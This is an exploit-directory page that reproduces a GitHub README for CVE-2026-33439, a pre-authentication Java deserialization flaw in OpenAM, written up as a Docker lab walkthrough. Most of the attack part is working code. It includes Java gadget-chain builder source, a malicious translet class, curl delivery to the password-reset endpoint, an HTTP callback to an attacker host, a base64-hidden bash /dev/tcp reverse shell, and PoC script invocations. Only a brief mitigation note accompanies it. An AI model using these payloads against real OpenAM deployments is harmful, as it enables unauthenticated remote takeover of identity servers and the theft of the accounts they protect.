Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33439 — First publicly shared exploit implementation for CVE-2026-33439 (OpenAM pre-auth RCE via jato.clientSession deserialization). | Kitploit
Tools/GitHubGitHub/themalwareguardian/cve-2026-33439
Vulnerability AnalysisCode AnalysisExploitationReverse EngineeringWeb Application ExploitationMalware AnalysisPenetration TestingLearning & EducationPayload Development
Binary Exploitation
Labs & Practice
GitHubthemalwareguardian/cve-2026-33439

CVE-2026-33439

First publicly shared exploit implementation for CVE-2026-33439 (OpenAM pre-auth RCE via jato.clientSession deserialization).

View Repository
2174 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🐞 CVE-2026-33439: OpenAM Pre-Auth RCE via jato.clientSession Deserialization

Human insight + AI-assisted analysis + reverse engineering + advisory → exploit

First publicly shared exploit implementation for CVE-2026-33439

Unauthenticated Java deserialization vulnerability in ForgeRock OpenAM allowing full remote code execution via crafted JATO session objects. The same river flows twice, they fixed jato.pageSession (CVE-2021-35464) and forgot jato.clientSession (CVE-2026-33439). A deserialization gadget chain does not ask for credentials.




📑 Table of Contents

  • Overview
  • The CVE-2021-35464 Lineage
  • CVE-2026-33439 Vulnerability Analysis
    📂
    • Root Cause
    • Affected Versions
    • Attack Surface
  • The Gadget Chain
📂
  • Java Deserialization 101
  • Encoder.decodeHttp64
  • Gadget Chain Internals
  • Lab Environment
    📂
    • Architecture
    • Setup
    • Access
  • Exploitation
    📂
    • Prerequisites
    • Discovery & Reconnaissance
    • Understanding the Encoding
    • Building the Exploit
    • Payload Delivery
    • PoC Tool Usage
  • Mitigation
  • References



  • 🎯 Overview

    CVE-2026-33439 is a pre-authentication Remote Code Execution vulnerability in OpenIdentityPlatform OpenAM (versions prior to 16.0.6). The vulnerability stems from unsafe Java deserialization of the jato.clientSession HTTP parameter inside ClientSession.deserializeAttributes(), which calls Encoder.deserialize() → ApplicationObjectInputStream.readObject() with no class whitelist applied.

    An unauthenticated attacker sends a crafted HTTP GET or POST request containing a serialized Java object to any JATO ViewBean endpoint whose JSP renders <jato:form> tags. Upon receipt, the server deserializes the object without validation, triggering a gadget chain built entirely from classes bundled in the OpenAM WAR - no external libraries required - and executing arbitrary OS commands as the application process user.

    CVSS 4.0 Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critical

    CVSS 3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical




    🧬 The CVE-2021-35464 Lineage

    This vulnerability is a direct regression of the incomplete fix applied after CVE-2021-35464.

    • CVE-2021-35464 (ForgeRock AM / OpenAM): Pre-auth RCE via unsafe deserialization of the jato.pageSession parameter. Widely exploited in the wild; CISA KEV-listed. The fix introduced WhitelistObjectInputStream inside ConsoleViewBeanBase.deserializePageAttributes() - a custom ObjectInputStream subclass that checks every class name against a hardcoded allowlist of ~40 safe classes before instantiating it.

    • CVE-2026-33439 (OpenAM ≤ 16.0.5): The fix was applied to jato.pageSession only. The jato.clientSession parameter - handled by a completely separate code path in ClientSession.deserializeAttributes() - was never patched and still uses the unfiltered Encoder.deserialize() → ApplicationObjectInputStream, which calls ObjectInputStream.readObject() with no class whitelist.

    The attack primitive is the same. The deserialization sink is different. Only the parameter name changed.




    🔬 CVE-2026-33439 Vulnerability Analysis

    Root Cause

    JATO serializes UI view state to HTTP parameters named jato.pageSession and jato.clientSession. When a request arrives, OpenAM deserializes these parameters to restore UI state before rendering the response. The two parameters follow entirely different code paths.

    The patched code path (post-CVE-2021-35464) for jato.pageSession:

    root@kitploit:~
    // PATCHED - ConsoleViewBeanBase.deserializePageAttributes()
    ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded));
    // class whitelist enforced - gadget chains blocked
    Object obj = ois.readObject();
    

    The unpatched code path for jato.clientSession (vulnerable):

    root@kitploit:~
    // ClientSession.java
    protected ClientSession(RequestContext context) {
    	this.encodedSessionString =
    		context.getRequest().getParameter("jato.clientSession");
    }
    
    protected void deserializeAttributes() {
    	if (this.encodedSessionString != null
    		&& this.encodedSessionString.trim().length() > 0) {
    		this.setAttributes(
    			(Map) Encoder.deserialize(
    				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
    				Encoder.decodeHttp64(this.encodedSessionString), false)
    		);
    	}
    }
    
    Download Tool

    Encoder.deserialize() constructs a plain ApplicationObjectInputStream - a subclass of ObjectInputStream with no class filtering. Any class on the JVM classpath can be instantiated. Deserialization is triggered during JSP rendering whenever a < jato:form > tag is rendered:

    root@kitploit:~
    getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
    

    Affected Versions

    ProductVulnerableFixed
    OpenIdentityPlatform OpenAM≤ 16.0.516.0.6
    ForgeRock AM (downstream)Potentially affected depending on patch lineage-

    Attack Surface

    Any JATO ViewBean endpoint whose JSP contains a < jato:form > tag is exploitable pre-authentication:

    EndpointPurpose
    /ui/PWResetUserValidationPassword reset - user identity input
    /ui/PWResetQuestionPassword reset - security questions

    Password reset endpoints are the primary target, they are publicly accessible by design and guaranteed to render < jato:form > tags.




    ⚙️ The Gadget Chain

    Java Deserialization 101

    When Java deserializes an object from a byte stream, it calls readObject() on every class it reconstructs, including nested objects. If an attacker controls the byte stream and injects an object whose readObject() triggers a chain of method calls ending in code execution, they have gadget-chain RCE.

    The key insight of CVE-2026-33439: the gadget chain requires no external libraries. Every class in the chain is bundled inside the OpenAM WAR itself openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar. This makes the vulnerability exploitable on any default OpenAM deployment.


    Encoder.decodeHttp64

    This is the critical detail that makes the exploit work. The Encoder class in jato-shaded-16.0.5.jar uses Java's URL-safe base64 encoder/decoder - not standard base64, and not a custom character substitution scheme.

    Verified by decompiling Encoder.class:

    root@kitploit:~
    # Extract Encoder.class from the JATO JAR
    jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
    
    # Decompile and inspect decodeHttp64
    javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
    
    root@kitploit:~
    public static byte[] decodeHttp64(java.lang.String);
    Code:
    	0: invokestatic  #8  // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder;
    	3: aload_0
    	4: invokevirtual #9  // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B
    	7: areturn
    

    URL-safe base64 uses '-' instead of '+' and '_' instead of '/', with no padding '='. The correct encoding is:

    root@kitploit:~
    Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
    

    Any other encoding, including standard base64 or manual character substitution, will cause decodeHttp64() to throw an exception or produce corrupt bytes, silently aborting deserialization with no error in the HTTP response.


    Gadget Chain Internals

    The full chain, using only classes from the OpenAM WAR:

    root@kitploit:~
    PriorityQueue.readObject()                                     [java.util - JDK]
    → heapify() → siftDown() → comparator.compare()
    	→ Column$ColumnComparator.compare(o1, o2)                  [openam-core-16.0.5.jar]
    	→ Column.getTable().isSortedAscending()                    [click-nodeps-2.3.0.jar]
    	→ Column.getProperty(o1)
    		→ PropertyUtils.getObjectPropertyValue(                [openam-core-16.0.5.jar]
    			o1, "outputProperties")
    		→ Method.invoke(o1, "getOutputProperties")
    			→ TemplatesImpl.getOutputProperties()              [xalan-2.7.3.jar]
    			→ getTransletInstance()
    				→ defineTransletClasses()
    				→ TransletClassLoader.defineClass(_bytecodes)
    					→ _class[_transletIndex].newInstance()
    					→ EvilTranslet.<clinit>()                  [attacker bytecode]
    						→ Runtime.getRuntime().exec(cmd)
    
    root@kitploit:~
    # Extract Column$ColumnComparator.class from the JAR
    jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
    
    # Decompile and inspect the compare() method, reveals getTable() call before getProperty()
    javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
    
    # Extract and inspect Column.class, reveals getProperty() and setTable() methods
    jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
    
    javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
    

    Critical detail: "Column$ColumnComparator.compare()" calls "column.getTable().isSortedAscending()" before calling "getProperty()". If "getTable()" returns null, the chain aborts with "NullPointerException" before reaching "TemplatesImpl". A "Table" object must be associated to the "Column" via "column.setTable(table)" before serialization.




    🧪 Lab Environment

    Architecture

    root@kitploit:~
    ┌────────────────────────────────────────────────────────────────┐
    │                   Docker Network: lab_net                      │
    │                    (subnet 10.13.37.0/24)                      │
    │                                                                │
    │  ┌──────────────────────────────┐   ┌───────────────────────┐  │
    │  │  openam.lab.local            │   │  attacker             │  │
    │  │  OpenAM 16.0.5 WAR           │◄──│  Debian bookworm-slim │  │
    │  │  Tomcat 10.1.52 + Java 21    │   │  Java 21 (JDK)        │  │
    │  │  jato.clientSession ← sink   │   │  python3, curl, nc    │  │
    │  │  port 8080                   │   │                       │  │
    │  └──────────────────────────────┘   └───────────────────────┘  │
    │                  ▲                                             │
    └──────────────────┼─────────────────────────────────────────────┘
    				   │ localhost:8080
    			┌──────┴──────┐
    			│    HOST     │
    			└─────────────┘
    
    ContainerImageRole
    cve_2026_33439_openamtomcat:10.1.52-jdk21 + OpenAM 16.0.5 WARVulnerable target
    cve_2026_33439_attackerdebian:bookworm-slimAttack machine

    The lab uses the official OpenAM 16.0.5 WAR deployed on Tomcat 10.1.52 with Java 21 - the exact environment described in the GitHub Security Advisory.


    Setup

    Step 1 - Download the official OpenAM 16.0.5 WAR

    root@kitploit:~
    # From PowerShell on the host
    cd "01 Vulnerable"
    
    Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
    

    Step 2 - Start the containers

    root@kitploit:~
    docker compose up -d
    

    Step 3 - Configure OpenAM from the browser

    Navigate to "http://localhost:8080/openam", click "Create Default Configuration" and set:

    FieldValue
    Default User Password (amadmin)Lab@dm1n2026!
    Agent Passwordsecret12

    Wait ~2 minutes for the configuration to complete.

    Step 4 - Confirm Password Reset is enabled

    Log in as amadmin → Configure → Global Services → Password Reset → enable the toggle → Save Changes.

    Step 5 - Identify the exploitable JSP endpoints

    Find all JSPs in the WAR that contain < jato:form > tags, these are the endpoints where jato.clientSession deserialization is triggered:

    root@kitploit:~
    # Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
    docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
    
    # Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
    docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
    

    Inspect the JSP source to understand why jato.clientSession may not appear in the rendered HTML. The <jato:form> tag is wrapped inside <jato:content name="resetPage">, which only renders when the ViewBean activates that block. However, <jato:useViewBean> at the top of the JSP always instantiates the ViewBean and processes jato.clientSession before deciding which blocks to render - deserialization occurs at that point regardless:

    root@kitploit:~
    docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
    
    root@kitploit:~
    <%-- Always instantiates ViewBean and processes jato.clientSession --%>
    <jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
    
    	<%-- Only renders if ViewBean activates this block --%>
    	<jato:content name="resetPage">
    		<jato:form name="PWResetUserValidation" method="post">
    			<%-- jato.clientSession hidden field appears here --%>
    		</jato:form>
    	</jato:content>
    
    </jato:useViewBean>
    

    Step 6 - Verify the endpoint is reachable pre-authentication

    root@kitploit:~
    (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
    

    Access

    root@kitploit:~
    # Drop into the attacker container
    docker exec -it cve_2026_33439_attacker bash
    

    Teardown:

    root@kitploit:~
    #  stop, keep volumes
    docker compose down
    
    # full wipe
    docker compose down -v
    



    💣 Exploitation

    Prerequisites

    RequirementNotes
    JDK 21 (javac)Must match the JVM version running OpenAM. JRE alone is not enough, javac is required to compile EvilTranslet and PayloadBuilder
    openam-core-16.0.5.jarCopied from OpenAM container - contains Column, Column$ColumnComparator, PropertyUtils
    xalan-2.7.3.jarCopied from OpenAM container - contains TemplatesImpl, TransformerFactoryImpl
    serializer-2.7.3.jarCopied from OpenAM container - contains SerializationHandler used by EvilTranslet
    click-nodeps-2.3.0.jarCopied from OpenAM container - contains Table (required by Column$ColumnComparator)
    click-extras-2.3.0.jarCopied from OpenAM container - transitive dependency of click-nodeps
    jato-shaded-16.0.5.jarCopied from OpenAM container - contains Encoder with decodeHttp64
    servlet-api.jarCopied from Tomcat lib/ - Jakarta Servlet API required for serialization of Table
    Python 3.8+For the PoC script
    requestspip install requests

    Discovery & Reconnaissance

    Step 1 - Confirm OpenAM is running and identify version

    root@kitploit:~
    http://localhost:8080/openam/ccversion/Version
    

    Step 2 - Probe JATO ViewBean endpoints

    root@kitploit:~
    for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
    	STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    		"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
    	echo "[HTTP ${STATUS}] ${ENDPOINT}"
    done
    

    Step 3 - Confirm jato.clientSession is processed

    root@kitploit:~
    curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
    

    The response will contain "jato.defaultCommand" and "jato.pageSession" but not "jato.clientSession" in the rendered HTML, this is expected behavior. The "jato.clientSession" field only appears inside < jato:content name="resetPage" >, which requires the ViewBean to activate that block. However, < jato:useViewBean > always instantiates the ViewBean and processes "jato.clientSession" before deciding which blocks to render. Deserialization is triggered at instantiation time regardless of whether the field appears in the final HTML output. The presence of "jato.pageSession" in the response confirms that JATO serialization is active on this endpoint and "jato.clientSession" will be deserialized on the next request.


    Understanding the Encoding

    Before building the exploit, the encoding used by "Encoder.decodeHttp64()" must be verified by decompiling the JATO JAR. This step is essential, using the wrong encoding causes silent deserialization failure.

    Step 1 - Copy all required JARs from OpenAM to the attacker workspace

    From PowerShell on the host:

    root@kitploit:~
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar .
    docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar .
    docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar .
    docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar .
    docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar .
    docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar .
    docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/
    docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar .
    docker cp servlet-api.jar cve_2026_33439_attacker:/work/
    

    Step 2 - Decompile Encoder to verify the decoding method

    From inside the attacker container:

    root@kitploit:~
    # Extract Encoder.class from the JATO JAR
    jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
    
    # Decompile and inspect decodeHttp64
    javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
    

    Expected output confirming URL-safe base64:

    root@kitploit:~
    public static byte[] decodeHttp64(java.lang.String);
    Code:
    	0: invokestatic  #8  // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder;
    	3: aload_0
    	4: invokevirtual #9  // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B
    	7: areturn
    

    Step 3 - Decompile Column$ColumnComparator to verify the gadget chain path

    root@kitploit:~
    # Extract Column and ColumnComparator
    jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
    
    # Verify compare() calls getTable() before getProperty()
    javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
    

    This confirms that Column.getTable() must return a non-null Table object, otherwise compare() throws NullPointerException before reaching getProperty() → TemplatesImpl.


    Building the Exploit

    All commands from inside the attacker container.

    Step 1 - Set the classpath

    root@kitploit:~
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    

    Step 2 - Write and compile EvilTranslet.java

    EvilTranslet extends AbstractTranslet (required by TemplatesImpl) and executes the command in the static initializer, which runs automatically on newInstance().

    root@kitploit:~
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    javac -cp $CP /work/EvilTranslet.java
    

    Step 3 - Write and compile PayloadBuilder.java

    PayloadBuilder constructs the gadget chain and outputs the URL-safe base64 encoded serialized payload.

    root@kitploit:~
    cat > /work/PayloadBuilder.java << 'EOF'
    import org.apache.xalan.xsltc.trax.TemplatesImpl;
    import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
    import org.openidentityplatform.openam.click.control.Column;
    import org.openidentityplatform.openam.click.control.Table;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.Base64;
    import java.util.Comparator;
    import java.util.PriorityQueue;
    
    public class PayloadBuilder {
    
    	// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
    	static String encodeHttp64(byte[] data) {
    		return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
    	}
    
    	static void setField(Object obj, String name, Object value) throws Exception {
    		Field f = obj.getClass().getDeclaredField(name);
    		f.setAccessible(true);
    		f.set(obj, value);
    	}
    
    	static void setFieldPQ(Object obj, String name, Object value) throws Exception {
    		Field f = PriorityQueue.class.getDeclaredField(name);
    		f.setAccessible(true);
    		f.set(obj, value);
    	}
    
    	public static void main(String[] args) throws Exception {
    		byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
    
    		// Step 1 - TemplatesImpl with EvilTranslet bytecode
    		// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
    		TemplatesImpl templates = new TemplatesImpl();
    		setField(templates, "_bytecodes",     new byte[][]{ bytecode });
    		setField(templates, "_name",          "EvilTranslet");
    		setField(templates, "_tfactory",      new TransformerFactoryImpl());
    		setField(templates, "_transletIndex", 0);
    
    		// Step 2 - Column with Table associated
    		// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
    		Table table = new Table();
    		Column column = new Column("outputProperties");
    		column.setTable(table);
    
    		@SuppressWarnings("unchecked")
    		Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
    
    		// Step 3 - PriorityQueue as deserialization trigger
    		// readObject() -> heapify() -> siftDown() -> comparator.compare()
    		// Size must be >= 2 for heapify to call compare()
    		PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
    		setFieldPQ(queue, "queue", new Object[]{ templates, templates });
    		setFieldPQ(queue, "size",  2);
    
    		// Step 4 - Serialize and URL-safe base64 encode
    		ByteArrayOutputStream baos = new ByteArrayOutputStream();
    		ObjectOutputStream oos = new ObjectOutputStream(baos);
    		oos.writeObject(queue);
    		oos.close();
    
    		System.out.println(encodeHttp64(baos.toByteArray()));
    	}
    }
    EOF
    
    javac -cp $CP /work/PayloadBuilder.java
    

    Step 4 - Generate the payload

    root@kitploit:~
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
    
    # Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
    head -c 10 /work/payload.b64
    

    Payload Delivery

    Confirm RCE with an out-of-band HTTP callback

    Terminal 1 - Listener:

    root@kitploit:~
    docker exec -it cve_2026_33439_attacker bash
    
    nc -lvnp 9999
    

    Terminal 2 - Generate and send callback payload:

    root@kitploit:~
    docker exec -it cve_2026_33439_attacker bash
    
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    
    javac -cp $CP /work/EvilTranslet.java
    
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
    
    PAYLOAD=$(cat /work/payload_http.b64)
    
    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
    

    If RCE is working, Terminal 1 receives an incoming HTTP connection from the OpenAM server:

    root@kitploit:~
    nc -lvnp 9999
    listening on [any] 9999 ...
    connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992
    GET /pwned HTTP/1.1
    Host: attacker:9999
    User-Agent: curl/8.5.0
    Accept: */*
    

    Write a file artefact

    root@kitploit:~
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    
    javac -cp $CP /work/EvilTranslet.java
    
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
    
    PAYLOAD=$(cat /work/payload_file.b64)
    
    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
    

    Verify from PowerShell:

    root@kitploit:~
    docker exec cve_2026_33439_openam ls -la /tmp/pwned
    

    Reverse shell

    Terminal 1 - Listener:

    root@kitploit:~
    docker exec -it cve_2026_33439_attacker bash
    
    nc -lvnp 4444
    

    Terminal 2 - Deliver:

    root@kitploit:~
    docker exec -it cve_2026_33439_attacker bash
    
    CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
    
    B64CMD=$(echo "$CMD" | base64 -w 0)
    
    cat > /work/EvilTranslet.java << EOF
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    
    javac -cp $CP /work/EvilTranslet.java
    
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
    
    PAYLOAD=$(cat /work/payload_shell.b64)
    
    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
    

    PoC Tool Usage

    The Python script automates the full chain: compiles EvilTranslet, builds the gadget chain via PayloadBuilder, encodes with URL-safe base64, and delivers.

    root@kitploit:~
    # Copy JARs to the exploit directory first
    
    [attacker@lab /work]$
    
    touch Exploit_CVE_2026_33439.py
    
    vi Exploit_CVE_2026_33439.py
    
    python3 Exploit_CVE_2026_33439.py --help
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
    
    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
    



    🛡️ Mitigation

    • Patch: Upgrade to or later. The fix extends WhitelistObjectInputStream to ClientSession.deserializeAttributes(), matching the protection already applied to ConsoleViewBeanBase.deserializePageAttributes() after CVE-2021-35464.
    OpenAM 16.0.6



    📚 References

    • CVE-2026-33439 - NVD

    National Vulnerability Database entry for CVE-2026-33439.

    • GitHub Security Advisory GHSA-2cqq-rpvq-g5qj

    Official advisory with root cause analysis, affected code, and gadget chain detail.

    • CVE-2021-35464 - ForgeRock AM Pre-Auth RCE

    The ancestor vulnerability that introduced WhitelistObjectInputStream for jato.pageSession.

    • Pre-Auth RCE in ForgeRock OpenAM - PortSwigger Research

    Original research on CVE-2021-35464 covering the JATO deserialization mechanism.

    • CWE-502 - Deserialization of Untrusted Data

    MITRE CWE entry describing the vulnerability class.